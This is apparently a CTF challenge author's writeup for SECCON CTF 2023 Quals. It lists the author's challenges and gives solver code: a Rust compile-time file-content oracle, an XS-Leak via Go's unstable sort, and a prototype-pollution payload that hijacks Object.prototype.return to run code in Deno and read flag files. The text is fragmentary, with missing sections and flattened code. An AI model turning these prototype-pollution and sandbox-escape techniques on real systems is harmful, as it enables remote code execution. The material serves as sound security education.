Thank you for playing SECCON CTF 2023 Quals! I created some challenges for this CTF, just like 2021 and 2022. I hope you had fun and I'm looking forward to reading your writeups.
My challenges:
Challenge
Category
Intended Difficulty
Keywords
Solved / 653
blink
web
easy
DOM clobbering
14
eeeeejs
web
medium
ejs, XSS puzzle
12
hidden-note
web
hard
XS-Leak, unstable sort
1
crabox
sandbox
warmup
Rust sandbox
53
node-ppjail
sandbox
medium
prototype pollution
5
deno-ppjail
sandbox
hard
prototype pollution
2
I added the source code and author's solvers to my-ctf-challenges repository.
The goal is to bypass the above mitigations and gain an XSS.
Solution
There are various approaches to solving this challenge. My solution is one of them. If you are interested in other solutions, join the CTF Discord and see #web channel.
By the technique, you can access shared pages because you can create notes and share them on the admin's session by CSRF.
Is the remaining task to see a flag note in shared pages? The answer is no. The most impotant point in this challenge is that shared pages do not show a flag note:
var ( wasBalanced = true// whether the last partitioning was reasonably balanced wasPartitioned = true// whether the slice was already partitioned )
for { length := b - a
if length <= maxInsertion { insertionSort_func(data, a, b) return }
/* snip */
The shuffle part with xorshift:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
// From: https://github.com/golang/go/blob/go1.21.0/src/sort/zsortfunc.go#L240-L254 funcbreakPatterns_func(data lessSwap, a, b int) { length := b - a if length >= 8 { random := xorshift(length) modulus := nextPowerOfTwo(length)
for idx := a + (length/4)*2 - 1; idx <= a+(length/4)*2+1; idx++ { other := int(uint(random.Next()) & (modulus - 1)) if other >= length { other -= length } data.Swap(idx, a+other) } } }
Thus, the sort algorithm has the following properties:
Case 1: If the length <= 12, it uses insertion sort (a stable sort).
By abusing this behavior, it is possible to construct an oracle. You can leak the length of a sorted array and judge whether the array includes the flag note or not.
print(""" 🦀 Compile-Time Sandbox Escape 🦀 Input your program (the last line must start with __EOF__): """.strip(), flush=True)
program = "" whileTrue: line = sys.stdin.readline() if line.startswith("__EOF__"): break program += line iflen(program) > 512: print("Your program is too long. Bye👋".strip()) exit(1)
res = io.recvall().decode().strip() io.close() return res
TEMPLATE = """ } static _CTFE: () = _contains(b"{{QUERY}}"); const fn _contains(query: &[u8]) { let content = include_bytes!(file!()); let mut i = 350; while i < content.len() { let mut j = 0; while j < query.len() && i + j < content.len() && content[i + j] == query[j] { j += 1; } if j == query.len() { return; // found! } i += 1; } assert!(false); // not found """.strip().replace(" ", "")
deforacle(query: str) -> bool: program = TEMPLATE.replace("{{QUERY}}", query) return":)"in communicate(program)
CHARS = "}_" + string.ascii_lowercase + string.digits known = "SECCON{" whilenot known.endswith("}"): for c in CHARS: if oracle(known + c): known += c break else: print("Not found") exit(1) print(known) print("Flag: " + known)
> ({}).constructor.prototype.return = () =>console.log(1337) [Function (anonymous)] > for (const x of [1, 2, 3]) { break; } 1337 UncaughtTypeError: Iterator result undefined is not an object at <anonymous>:7:3 > const [x] = [1, 2, 3]; 1337 UncaughtTypeError: Iterator result undefined is not an object at <anonymous>:2:8 >
This behavior is attributed to the specification of IteratorClose defined in ECMAScript:
Let innerResult be Completion(GetMethod(iterator, "return")).
If innerResult.[[Type]] is normal, then a. Let return be innerResult.[[Value]]. b. If return is undefined, return ? completion. c. Set innerResult to Completion(Call(return, iterator)).
The part where IteratorClose may be called:
1
for (const key ofObject.keys(input)) {
So, a given function is called when the following conditions are satisfied:
Object.prototype.return is polluted to a Function object.
In the for-loop, the IteratorClose is called.
e.g. Uncaught runtime errors
The way to cause an error is simple:
1 2 3 4 5 6 7
$ deno ...
> ({}).toString.caller UncaughtTypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them at <anonymous>:2:15 >
> merge({}, { "constructor": { "prototype": { "return": { "__custom__": true, "type": "Function", "args": [ "console.log(1337)" ] } } }, "toString": { "caller": {} } }) 1337 1337 UncaughtTypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them at merge (<anonymous>:33:19) at merge (<anonymous>:33:7) at <anonymous>:2:1 >
payload = """ for (const entry of Deno.readDirSync("/")) { if (entry.name.startsWith("flag-")) { const flag = new TextDecoder().decode(Deno.readFileSync("/" + entry.name)); console.log(flag); } } """.strip()
input_str = json.dumps({ "constructor": { "prototype": { # ref. https://tc39.es/ecma262/2023/multipage/abstract-operations.html#sec-iteratorclose # # > 3. Let innerResult be Completion(GetMethod(iterator, "return")). # > 4. If innerResult.[[Type]] is normal, then # > a. Let return be innerResult.[[Value]]. # > b. If return is undefined, return ? completion. # > c. Set innerResult to Completion(Call(return, iterator)). "return": { "__custom__": True, "type": "Function", "args": [ payload, ], }, }, }, # Cause an error "toString": { "caller": {}, }, })
io.sendlineafter(b"Input your JSON: ", input_str.encode()) print(io.recvall().decode())
The goal is also to gain RCE to read a flag file with an unknown name.
The difference from deno-ppjail is that the source code is transpiled into JavaScript and executed by node command.
Solution
The transpiled JavaScript is as follows:
1 2 3 4 5 6 7 8 9
/* snip */ var merge = function (target, input) { var _a; if (!isDict(target)) return; for (var _i = 0, _b = Object.keys(input); _i < _b.length; _i++) { var key = _b[_i]; var value = input[key]; /* snip */
The for-loop does not use Iterator[3], so it is impossible to call IteratorClose and you cannot use the gadget used in deno-ppjail.
It means that you need to find a gadget other than IteratorClose. But not to worry, Node.js has some gadgets. In fact, I found three gadgets in the internals of Node.js.